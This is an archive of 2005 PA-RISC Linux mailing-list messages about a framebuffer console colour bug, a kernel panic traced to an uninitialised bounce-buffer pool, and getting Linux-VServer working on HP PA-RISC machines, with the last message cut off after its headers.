          id <20051208173925.NRLM21883.mta07-winn.ispmail.ntl.com@aamta11-winn.ispmail.ntl.com>;
          Thu, 8 Dec 2005 17:39:25 +0000
Original-Received: from janus ([82.9.44.76]) by aamta11-winn.ispmail.ntl.com
          with ESMTP
          id <20051208173925.TSGJ16192.aamta11-winn.ispmail.ntl.com@janus>;
          Thu, 8 Dec 2005 17:39:25 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1EkPjm-0000fW-00; Thu, 08 Dec 2005 17:39:22 +0000
Mail-Followup-To: Andy Walker <andy@puszczka.com>,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <1354.193.160.141.5.1134039392.squirrel@www.puszczka.com>
User-Agent: Mutt/1.3.28i
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-3.3 required=4.0 tests=AWL,DNS_FROM_RFC_POST,
	FORGED_RCVD_HELO,LDOSUBSCRIBER autolearn=no version=3.0.3
Resent-Message-ID: <1b2AgB.A.mSG.S_GmDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4985
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  8 Dec 2005 11:39:30 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: jwrqY5tOeSEkeb6WZHQhaXN1IGRvb4As
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25229

On Thu, Dec 08, 2005 at 11:56:32AM +0100, Andy Walker wrote:
> Note that the A4071B/HCRX24 gets detected just fine. Its set in PDC as
> the console path, and also via the sti=8/8 parameter.
> 
> Nothing crashes, but the console is unusable. Most of the output is
> black on black, though I get bits of text in magenta, yellow and green
> depending on the intended colour. Tux has a bright green background and
> is otherwise pretty psychedelic. Back to Vis-EG for the time being.

Have you tried running X, and then switching back to the console?  That
at least gets it working for me...  I wonder which devices are affected
by this?  What about the A4071A?

I've tried reading the stifb source but I'm quite baffled by it. :-(
-- 
Stuart Brady


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when reading from a NBD device
Date: Sat, 10 Dec 2005 16:44:23 -0500
Lines: 96
Approved: news@gmane.org
Message-ID: <20051210214423.GB6247@tachyon.int.mcmartin.ca>
References: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
	<20051205013921.GA26910@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624574 27436 80.91.229.3 (22 Nov 2014 02:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2005 21:43:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 10 Dec 2005 22:43:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 392EC7D742;
	Sat, 10 Dec 2005 14:43:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18734-06; Sat, 10 Dec 2005 14:43:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 207BA7D743;
	Sat, 10 Dec 2005 14:43:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEA437D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 14:43:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18734-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 14:43:16 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 43C227D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 14:43:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E35B64940D2; Sat, 10 Dec 2005 14:43:15 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id 87515494005
	for <parisc-linux@parisc-linux.org>;
	Sat, 10 Dec 2005 14:43:15 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id EA01C17088;
	Sat, 10 Dec 2005 16:43:13 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20732-06; Sat, 10 Dec 2005 16:43:13 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 69B4B17083;
	Sat, 10 Dec 2005 16:43:13 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 9464CD6C10; Sat, 10 Dec 2005 16:44:23 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20051205013921.GA26910@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qy7pYzc5eSEkSL6WZHQhaXN1IGRvb4Cl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25230

On Sun, Dec 04, 2005 at 08:39:21PM -0500, Kyle McMartin wrote:
> 		if (q->bounce_pfn >= blk_max_pfn)
> 			return;
>

My mistake, blk_queue_bounce_limit(q, BLK_BOUNCE_HIGH) is called during
during queue init:

nbd.c:667
		disk->queue = blk_init_queue(do_nbd_request, &nbd_lock);

blk_init_queue() calls blk_init_queue_node() which calls

ll_rw_blk.c:1749
	blk_queue_make_request(q, __make_request);

ll_rw_blk.c:261
	/*
	 * by default assume old behaviour and bounce for any highmem page
	 */
	blk_queue_bounce_limit(q, BLK_BOUNCE_HIGH);

This meant that q->bounce_pfn was 0, since:

#define BLK_BOUNCE_HIGH		((u64)blk_max_low_pfn << PAGE_SHIFT)

blk_max_low_pfn was 0, so BLK_BOUNCE_HIGH was 0. 

This sets bounce_pfn in blk_queue_bounce_limit:523 to 0, which means

blk_queue_bounce_limit():

	if (bounce_pfn < blk_max_low_pfn) {
		BUG_ON(dma_addr < BLK_BOUNCE_ISA);
		init_emergency_isa_pool();
		q->bounce_gfp = GFP_NOIO | GFP_DMA;
	} else
		q->bounce_gfp = GFP_NOIO;

	q->bounce_pfn = bounce_pfn;

Sets bounce_gfp to GFP_NOIO, and q->bounce_pfn = 0;

Much later when blk_queue_bounce is called,

highmem.c:477
	if (!(q->bounce_gfp & GFP_DMA)) {
		if (q->bounce_pfn >= blk_max_pfn)
			return;
		pool = page_pool;
	} else {
		BUG_ON(!isa_page_pool);
		pool = isa_page_pool;
	}

	/*
	 * slow path
	 */
	__blk_queue_bounce(q, bio_orig, pool);

Fails the q->bounce_pfn (0) >= blk_max_pfn (0xbig), so pool is set
to page_pool, and we try to bounce. Inside __blk_queue_bounce we
call mempool_alloc(pool, ..);

mempool.c:220
	element = pool->alloc(gfp_temp, pool->pool_data);

Which dereferences pool, which is NULL, because we don't have
CONFIG_HIGHMEM set, so it wasn't initialized,

highmem.c:51
#ifdef CONFIG_HIGHMEM

static void *page_pool_alloc(gfp_t gfp_mask, void *data)
{
	return alloc_page(gfp_mask);
}

And kaboom, we die in an unfortunate way.

With max_low_pfn set, the 
                if (q->bounce_pfn >= blk_max_pfn)
gets hit, and we simply return instead of attempting to bounce
something.

I'm willing to bet this also fixes our ide-lib.c bug we hit earlier in
a cleaner way than changing the structure of that code.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-Vserver?
Date: Sat, 10 Dec 2005 22:06:58 +0000
Lines: 78
Approved: news@gmane.org
Message-ID: <439B5182.2010306@tiscali.be>
References: <IQVT5V$E9AC9B07E4AC628ABC4B6531981DFB7F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624575 27440 80.91.229.3 (22 Nov 2014 02:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2005 22:07:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 10 Dec 2005 23:07:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F52F7D74C;
	Sat, 10 Dec 2005 15:07:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19316-01; Sat, 10 Dec 2005 15:07:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73B6C7D6BC;
	Sat, 10 Dec 2005 15:07:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62CA27D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 15:07:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18860-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 15:07:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D57027D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 15:07:19 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 83405494005; Sat, 10 Dec 2005 15:07:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by palinux.hppa (Postfix) with ESMTP id ECF774940D2
	for <parisc-linux@parisc-linux.org>;
	Sat, 10 Dec 2005 15:07:18 -0700 (MST)
Original-Received: from (ip-62-235-232-73.dial.scarlet.be [62.235.232.73]) 
	by oola.is.scarlet.be  with ESMTP id jBAM74N01556; 
	Sat, 10 Dec 2005 23:07:04 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
In-Reply-To: <IQVT5V$E9AC9B07E4AC628ABC4B6531981DFB7F@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9DTpYztUeSEkQr6WZHQhaXN1IGRvb0AI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25231

Hello all,

Just a small update, till now:

	o latest patch-2.6.14.3-vs2.1.0-rc10.diff against our latest 2.6.14
	  (cvs dated 20051111) merged with upstream patch-2.6.14.3.bz2 boot
	  fine on c110, d380 (32bit up).
	o and preliminary testme.sh-0.14 finaly passed with success on the c110
	  (just need a small patch of util-vserver_0.30.209)
# ./testme.sh-0.14
Linux-VServer Test [V0.14] Copyright (C) 2003-2005 H.Poetzl
chcontext is working.
chbind is working.
Linux 2.6.14.3-vs2.1.0-rc10-pa0-c110 parisc/0.30.209/0.30.209 [Ea] (0)
VCI:  0002:0001 263 03000116
---
[000]# succeeded.
[001]# succeeded.
[011]# succeeded.
[031]# succeeded.
[101]# succeeded.
[102]# succeeded.
[201]# succeeded.
[202]# succeeded.

;-)

Hope now to be able to go further next week.

Joel Soete wrote:
[...]

Matthew,

(don't know if you're still the maintainer of this stuff)
but any way have you some good advise about following:
> 
> PS: btw I just read:
> --- linux-2.6.14.2/arch/parisc/kernel/sys_parisc32.c    2005-06-22 02:37:56 +0200
> +++ linux-2.6.14.2-vs2.1.0-rc8/arch/parisc/kernel/sys_parisc32.c       
> 2005-10-29 04:06:52 +0200
> @@ -657,6 +657,7 @@ asmlinkage int sys32_sysinfo(struct sysi
> 
>         do {
>                 seq = read_seqbegin(&xtime_lock);
> +               /* FIXME requires vx virtualization */
>                 val.uptime = jiffies / HZ;
> 
>                 val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
> ====<>====
> 
> according to the comment:
> /* We used to call sys_sysinfo and translate the result.  But sys_sysinfo
>  * undoes the good work done elsewhere, and rather than undoing the
>  * damage, I decided to just duplicate the code from sys_sysinfo here.
>  */
> 
> could it be look like as in kernel/timer.c:
> @@ -1263,6 +1273,8 @@ asmlinkage long sys_sysinfo(struct sysin
>                         tp.tv_nsec = tp.tv_nsec - NSEC_PER_SEC;
>                         tp.tv_sec++;
>                 }
> +               if (vx_flags(VXF_VIRT_UPTIME, 0))
> +                       vx_vsi_uptime(&tp, NULL);
>                 val.uptime = tp.tv_sec + (tp.tv_nsec ? 1 : 0);
> 
>                 val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
> ====<>====
> 

Tia,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux-Vserver: finaly seems to work basicaly ;-)
Date: Tue, 13 Dec 2005 17:40:03 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <IRG3MR$81CB7F45F8AC7660A8DC2B387303F836@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624575 27443 80.91.229.3 (22 Nov 2014 02:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2005 16:40:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 13 Dec 2005 17:40:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBB717D6EA;
	Tue, 13 Dec 2005 09:40:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13946-06; Tue, 13 Dec 2005 09:40:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7C917D6EC;
	Tue, 13 Dec 2005 09:40:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240647D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:40:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13946-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:40:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8BAAB7D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:40:19 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id EE533494187; Tue, 13 Dec 2005 09:40:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by palinux.hppa (Postfix) with ESMTP id 5E48D494007
	for <parisc-linux@parisc-linux.org>;
	Tue, 13 Dec 2005 09:40:18 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id jBDGe3w16219; 
	Tue, 13 Dec 2005 17:40:03 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KpzsYzYLeSEkIr6WZHQhaXN1IGRvb4B9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25232

> Hello all,
> 
> Just a small update, till now:
> 
> 	o latest patch-2.6.14.3-vs2.1.0-rc10.diff against our latest 2.6.14
> 	  (cvs dated 20051111) merged with upstream patch-2.6.14.3.bz2 boot
> 	  fine on c110, d380 (32bit up).
> 	o and preliminary testme.sh-0.14 finaly passed with success on the c11=
0
> 	  (just need a small patch of util-vserver_0.30.209)
> # ./testme.sh-0.14
> Linux-VServer Test [V0.14] Copyright (C) 2003-2005 H.Poetzl
> chcontext is working.
> chbind is working.
> Linux 2.6.14.3-vs2.1.0-rc10-pa0-c110 parisc/0.30.209/0.30.209 [Ea] (0)
> VCI:  0002:0001 263 03000116
> ---
> [000]# succeeded.
> [001]# succeeded.
> [011]# succeeded.
> [031]# succeeded.
> [101]# succeeded.
> [102]# succeeded.
> [201]# succeeded.
> [202]# succeeded.
> 
> ;-)
> 
> Hope now to be able to go further next week.
> 
I named my vserver DebSid (;-) ) with sever name debvs007 (just because t=
hat'
actualy my 7th linux system ;-) and very dream to enlarge this famer lol)=
:
# vserver-stat 
CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
0       68 134.3M  49.3M   7m32s62  28m01s19   4h14m54 root server
49153   15  76.8M  22.5M   0m05s31   0m14s53   2h47m02 DebSid

enter this vserver show me:
root@debvs007:~# ps -ef      
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 14:05 ?        00:00:52 init [2]  
root      5294     1  0 14:05 ?        00:00:00 /sbin/syslogd
103       5318     1  0 14:05 ?        00:00:00 /usr/bin/dbus-daemon-1 --=
system
root      5340     1  0 14:05 ?        00:00:00 /usr/bin/netserver
root      5355     1  0 14:05 ?        00:00:02 /usr/bin/X11/xfs -daemon
root      5367     1  0 14:05 ?        00:00:00 /usr/sbin/xinetd -pidfile=

/var/run/xinetd.pid -stayalive
daemon    5408     1  0 14:05 ?        00:00:00 /usr/sbin/atd
root      5411     1  0 14:05 ?        00:00:00 /usr/sbin/cron
root      5426     1  0 14:05 ?        00:00:00 /usr/sbin/gdm
root      5704  5693  0 14:37 pts/1    00:00:01 /bin/bash -login
root      6418     1  0 15:51 ?        00:00:00 /usr/sbin/sshd
root      6421  6418  0 15:52 ?        00:00:00 sshd: jso [priv] 
jso       6423  6421  0 15:52 ?        00:00:00 sshd: jso@pts/6  
jso       6424  6423  0 15:52 pts/6    00:00:00 -bash
root      6434  6424  0 15:52 pts/6    00:00:00 su -
root      6435  6434  0 15:52 pts/6    00:00:00 -su
root      7573  5704  0 17:02 pts/1    00:00:00 ps -ef

And having stolen a ip address, I can also ssh :-)
> ssh 10.xx.xx.111
Linux patst007 2.6.15-rc1-pa3-d32up #8 Mon Nov 14 13:01:04 CET 2005 paris=
c
GNU/Linux

The programs included with the Debian GNU/Linux system are free software;=

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Tue Dec 13 15:50:52 2005 from wsjso.internal.mce.org
debvs007:~ $ su -
Password: 
root@debvs007:~# ls -lrt 
total 24
drwx------ 2 root root 4096 Nov 23  2003 Mail
-rw-r--r-- 1 root root   26 Apr 20  2005 Vjso
drwxr-xr-x 2 root root 4096 Oct  5 15:26 tmp
drwxr-xr-x 2 root root 4096 Oct  5 15:51 var
drwxr-xr-x 2 root root 4096 Nov  3 19:09 bin
drwxr-xr-x 2 root root 4096 Dec 13 14:19 Man
[...]

I just have to gather some info from place to place to reach to re-used m=
y
existing chroot disk without loosing time and energy to deboostrap and
re-custumised it.

Now, just have to finalise startup scripts ;-) and obviously many much mo=
re
test but basicaly seems to already realise a dream.

Hth,
    Joel

 =0A=0A-------------------------------------------------------=0ANOTE! My=
 email address is changing to ... @scarlet.be=0APlease make the necessary=
 changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-Vserver: finaly seems to work basicaly ;-)
Date: Tue, 13 Dec 2005 11:59:27 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20051213165927.GA25365@quicksilver.road.mcmartin.ca>
References: <IRG3MR$81CB7F45F8AC7660A8DC2B387303F836@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624575 27446 80.91.229.3 (22 Nov 2014 02:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2005 16:59:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 13 Dec 2005 17:59:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE6437D705;
	Tue, 13 Dec 2005 09:59:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14555-01; Tue, 13 Dec 2005 09:59:48 -0700 (MST)
